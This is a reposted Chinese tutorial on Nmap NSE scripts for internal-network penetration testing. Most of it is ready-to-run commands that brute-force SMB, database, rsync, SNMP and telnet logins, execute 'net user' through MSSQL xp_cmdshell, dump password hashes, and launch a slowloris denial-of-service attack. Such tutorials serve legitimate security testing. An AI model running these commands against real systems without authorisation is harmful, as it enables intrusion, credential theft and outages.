Nmap脚本使用总结(转乌云) 下

nmap脚本使用总结

clzzy · 2014/06/08 11:24

<:SECTION class="entry-content ng-binding" ng-bind-html="postContentTrustedHtml">

0x00 前言:



nmap的基本介绍和基本使用方法,在乌云知识库中已经有人提交过,讲的比较详细,在此文中就不再讲述。 具体链接:http://drops.wooyun.org/tips/2002

本文主要讲解nmap的众多脚本的使用,在内网渗透的时候尤其好用。

0x01 nmap按脚本分类扫描



nmap脚本主要分为以下几类,在扫描时可根据需要设置--script=类别这种方式进行比较笼统的扫描:


auth: 负责处理鉴权证书(绕开鉴权)的脚本
broadcast: 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务
brute: 提供暴力破解方式,针对常见的应用如http/snmp等
default: 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力
discovery: 对网络进行更多的信息,如SMB枚举、SNMP查询等
dos: 用于进行拒绝服务攻击
exploit: 利用已知的漏洞入侵系统
external: 利用第三方的数据库或资源,例如进行whois解析
fuzzer: 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞 intrusive: 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽
malware: 探测目标机是否感染了病毒、开启了后门等信息
safe: 此类与intrusive相反,属于安全性脚本
version: 负责增强服务与版本扫描(Version Detection)功能的脚本
vuln: 负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067

部分使用截图:

(1) nmap --script=auth 192.168.137.*

负责处理鉴权证书(绕开鉴权)的脚本,也可以作为检测部分应用弱口令

(2)nmap --script=brute 192.168.137.*

提供暴力破解的方式  可对数据库,smb,snmp等进行简单密码的暴力猜解

(3)nmap --script=default 192.168.137.* 或者 nmap -sC 192.168.137.*

默认的脚本扫描,主要是搜集各种应用服务的信息,收集到后,可再针对具体服务进行攻击

(4)nmap --script=vuln 192.168.137.*

检查是否存在常见漏洞

(5)nmap -n -p445 --script=broadcast 192.168.137.4

在局域网内探查更多服务开启状况

(6)nmap --script external 202.103.243.110

利用第三方的数据库或资源,例如进行whois解析

0x02 nmap按应用服务扫描



(1)vnc扫描:

检查vnc bypass

#!bash
nmap  --script=realvnc-auth-bypass 192.168.137.4  

检查vnc认证方式

#!bash
nmap  --script=vnc-auth  192.168.137.4  

获取vnc信息

#!bash
nmap  --script=vnc-info  192.168.137.4  

(2)smb扫描:

smb破解

#!bash
nmap  --script=smb-brute.nse 192.168.137.4  

smb字典破解

#!bash
nmap --script=smb-brute.nse --script-args=userdb=/var/passwd,passdb=/var/passwd 192.168.137.4  

smb已知几个严重漏

#!bash
nmap  --script=smb-check-vulns.nse --script-args=unsafe=1 192.168.137.4    

查看共享目录

#!bash
nmap -p 445  --script smb-ls --script-args ‘share=e$,path=\,smbuser=test,smbpass=test’ 192.168.137.4    

查询主机一些敏感信息(注:需要下载nmap_service)

#!bash
nmap -p 445 -n –script=smb-psexec --script-args= smbuser=test,smbpass=test 192.168.137.4   

查看会话

#!bash
nmap -n -p445 --script=smb-enum-sessions.nse --script-args=smbuser=test,smbpass=test 192.168.137.4    

系统信息

#!bash
nmap -n -p445 --script=smb-os-discovery.nse --script-args=smbuser=test,smbpass=test 192.168.137.4  

(3)Mssql扫描:

猜解mssql用户名和密码

#!bash
nmap -p1433 --script=ms-sql-brute --script-args=userdb=/var/passwd,passdb=/var/passwd 192.168.137.4  

xp_cmdshell 执行命令

#!bash
nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="net user" 192.168.137.4      

dumphash值

#!bash
nmap -p 1433 --script ms-sql-dump-hashes.nse --script-args mssql.username=sa,mssql.password=sa  192.168.137.4      

(4)Mysql扫描:

扫描root空口令

#!bash
nmap -p3306 --script=mysql-empty-password.nse 192.168.137.4   

列出所有mysql用户

#!bash
nmap -p3306 --script=mysql-users.nse --script-args=mysqluser=root 192.168.137.4   

支持同一应用的所有脚本扫描

#!bash
nmap --script=mysql-* 192.168.137.4  

(5)Oracle扫描:

oracle sid扫描

#!bash
nmap --script=oracle-sid-brute -p 1521-1560 192.168.137.5  

oracle弱口令破解

#!bash
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=ORCL,userdb=/var/passwd,passdb=/var/passwd 192.168.137.5      

(6)其他一些比较好用的脚本

nmap --script=broadcast-netbios-master-browser 192.168.137.4   发现网关
nmap -p 873 --script rsync-brute --script-args ‘rsync-brute.module=www‘ 192.168.137.4  破解rsync
nmap --script informix-brute -p 9088 192.168.137.4    informix数据库破解
nmap -p 5432 --script pgsql-brute 192.168.137.4       pgsql破解
nmap -sU --script snmp-brute 192.168.137.4            snmp破解
nmap -sV --script=telnet-brute 192.168.137.4          telnet破解
nmap --script=http-vuln-cve2010-0738 --script-args ‘http-vuln-cve2010-0738.paths={/path1/,/path2/}‘ <target>  jboss autopwn
nmap --script=http-methods.nse 192.168.137.4 检查http方法
nmap --script http-slowloris --max-parallelism 400 192.168.137.4  dos攻击,对于处理能力较小的站点还挺好用的 ‘half-HTTP‘ connections 
nmap --script=samba-vuln-cve-2012-1182  -p 139 192.168.137.4

(7)不靠谱的脚本:

vnc-brute    次数多了会禁止连接

pcanywhere-brute   同上

0x03  学会脚本分析



nmap中脚本并不难看懂,所以在使用时如果不知道原理可以直接看利用脚本即可,也可以修改其中的某些参数方便自己使用。

举例:

关于oracle的弱口令破解:

调用过程:oracle-brute.nse >> oracle-default-accounts.lst

首先是调用破解脚本:

根据脚本中字典的位置去查看默认字典,当然也可以将破解的字符自行添加其中,或者是修改脚本或参数改变破解字典:

时间: 2024-10-09 16:10:12

Nmap脚本使用总结(转乌云) 下的相关文章

Nmap脚本引擎原理

Nmap脚本引擎原理 一.NSE介绍 虽然Nmap内嵌的服务于版本探测已足够强大,但是在某些情况下我们需要多伦次的交互才能够探测到服务器的信息,这时候就需要自己编写NSE插件实现这个功能.NSE插件能够完成网络发现.复杂版本探测.脆弱性探测.简单漏洞利用等功能. 转载请注明出处:http://www.cnblogs.com/liun1994/ 在文章   "Nmap脚本文件分析(AMQP协议为例)"   中会将版本探测,NSE脚本原理联系起来,具体分析Nmap探测的执行过程. 在文章 

nmap脚本使用总结

0x00 前言: nmap的基本介绍和基本使用方法,在乌云知识库中已经有人提交过,讲的比较详细,在此文中就不再讲述. 具体链接:http://drops.wooyun.org/tips/2002 本文主要讲解nmap的众多脚本的使用,在内网渗透的时候尤其好用. 0x01 nmap按脚本分类扫描 nmap脚本主要分为以下几类,在扫描时可根据需要设置--script=类别这种方式进行比较笼统的扫描: auth: 负责处理鉴权证书(绕开鉴权)的脚本   broadcast: 在局域网内探查更多服务开启

Nmap脚本引擎NSE

Nmap网络安全审计(六) Nmap脚本引擎NSE NSE中的脚本采用Lua语言编写.NSE设计出来是为了提供Nmap的灵活性,式版的NSE包含14个大类的脚本,总数达500多个,这些脚本的功能包括对各种网络口令强度的审计,对各种服务器安全性配置的审计,对各种服务器漏洞的审计等. NSE脚本的运行 我们使用NSE脚本测试一台主机,我们来看一下这条指令使用的参数,-O进行操作系统检测,-sV对目标系统的服务进行检测,这里我们没有使用脚本的参数所有使用的是默认脚本,默认脚本会使用-sC参数.默认脚本

漏洞扫描 -- 编写Nmap脚本

漏洞扫描 -- 编写Nmap脚本 2006年12月份,Nmap4.21 ALPHA1版加入脚本引擎,并将其作为主线代码的一部分.NSE脚本库如今已经有400多个脚本,覆盖了各种不同的网络机制(从SMB漏洞检测到Stuxnet探测,及中间的一些内容).NSE的强大,依赖它强大的功能库,这些库可以非常容易的与主流的网络服务和协议,进行交互. 挑战 我们经常会扫描网络环境中的主机是否存在某种新漏洞,而扫描器引擎中没有新漏洞的检测方法,这时候我们可能需要自己开发扫描工具. 你可能已经熟悉了某种脚本(例如

windows下编写的bash脚本拖入linux环境下脚本出错之编码问题

windows下编写的bash脚本拖入linux环境下脚本出错之编码问题         脚本经常在windows下写好,拖入到linux环境中运行.但是在运行过程中,经常出现编码问题,这里记录一下.方便自己日后查看,或者给刚好遇到这样的问题的同学一个尝试的方法. 在linux环境下vim 进入拖入的bash脚本.执行命令 :set ff=unix

用shell脚本递归遍历某个目录下的所有文件并移动到某个指定的目录中

1,先看下脚本cat recursive.sh #!/bin/shread -p "input path:" FilePath function getAllfiles(){for file in ls $FilePathdoif [ -f $file ]thenecho $filemv $file /bak_file/elif test -d $filethenecho "-------------------------------->"cd $fileF

nmap脚本(nse)使用总结

nmap脚本主要分为以下几类,在扫描时可根据需要设置--script=类别这种方式进行比较笼统的扫描: auth: 负责处理鉴权证书(绕开鉴权)的脚本   broadcast: 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务   brute: 提供暴力破解方式,针对常见的应用如http/snmp等   default: 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力   discovery: 对网络进行更多的信息,如SMB枚举.SNMP查询等   do

批处理脚本遍历指定文件夹下的文件

批处理脚本 1. 遍历指定文件夹下的文件 1.1 命令解释 命令: for [参数] %%变量名 in (匹配符) do (执行的命令) 切记:每个指令之间必须以空格隔开,in 与 ( 之间有空格,do 与 ( 间也有空格,否则命令会无法成功执行 ps:本节只讲用批处理脚本执行 for 命令遍历文件夹的场景,因此以下分析每个指令意义时,不介绍其他含义 []:表示此项指令为可选 [参数]:参数取值一共有四种: /d, /r, /l, /f,加上无参数,所以一共五种场景 无参:遍历当前路径的文件夹下

shell脚本,在指定目录下通过随机小写10个字母加固定字符串oldboy批量创建10个html文件。

[[email protected] wyb]# cat test10.sh #!/bin/bash #使用for循环在/test10目录下通过随机小写10个字母加固定字符串oldboy批量创建10个html文件 dir=/root/wyb/test10/ [ ! -d $dir ] && mkdir -p $dir for i in `seq 10` do touch $dir`echo $RANDOM|md5sum|cut -c 1-10`_oldboy.html done [[ema